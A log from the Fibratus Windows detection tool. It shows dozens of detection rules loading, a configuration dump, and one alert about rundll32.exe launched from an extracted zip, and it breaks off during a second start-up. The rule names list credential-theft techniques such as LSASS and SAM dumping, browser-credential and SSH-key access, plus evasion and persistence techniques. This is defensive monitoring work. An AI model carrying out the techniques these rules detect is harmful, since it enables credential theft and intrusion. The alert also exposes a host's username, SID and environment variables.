+time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T15:35:46+01:00 level=info msg=bootstrapping with pid 10648. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T15:35:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false content-type=>text/html to=>[] port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-threadpool=>false max-buffers=>36 min-buffers=>16 enable-mem=>false enable-dns=>false enable-audit-api=>true enable-thread=>true enable-handle=>false flush-interval=>1s enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-image=>true enable-fileio=>true enable-vamap=>true buffer-size=>512 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ http=>[ serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] timeout=>5s method=>POST enabled=>false] elasticsearch=>[ template-name=>fibratus trace-log=>false healthcheck-interval=>10s timeout=>5s index-name=>fibratus bulk-workers=>1 sniff=>false enabled=>false healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s gzip-compression=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 durable=>false passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ exchange=>fibratus enabled=>false routing-key=>fibratus]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-procs=>[] skip-files=>false skip-registry=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T15:35:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:35:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:36:35+01:00 level=info msg=sending alert: [Process execution from compressed file via explorer]. Text: Event(s): + Seq: 3441907 + Pid: 4496 + Tid: 5256 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 15:36:34.052503 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Temp\e26db2f7-334d-4108-8937-e9bd9140f2ac_rundll32.zip.2ac\rundll32.exe" , directory_table_base➜ 43d657000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\e26db2f7-334d-4108-8937-e9bd9140f2ac_rundll32.zip.2ac\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506eea91080, name➜ rundll32.exe, pid➜ 5524, ppid➜ 4496, real_ppid➜ 4496, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 15:36:34.052503 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Process execution from compressed file via explorer, tactic.ref: https://attack.mitre.org/tactics/TA0002/, tactic.id: TA0002, tactic.name: Execution + + Pid: 4496 + Ppid: 7852 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T15:39:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T15:39:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:39:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:39:54+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:39:54+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + 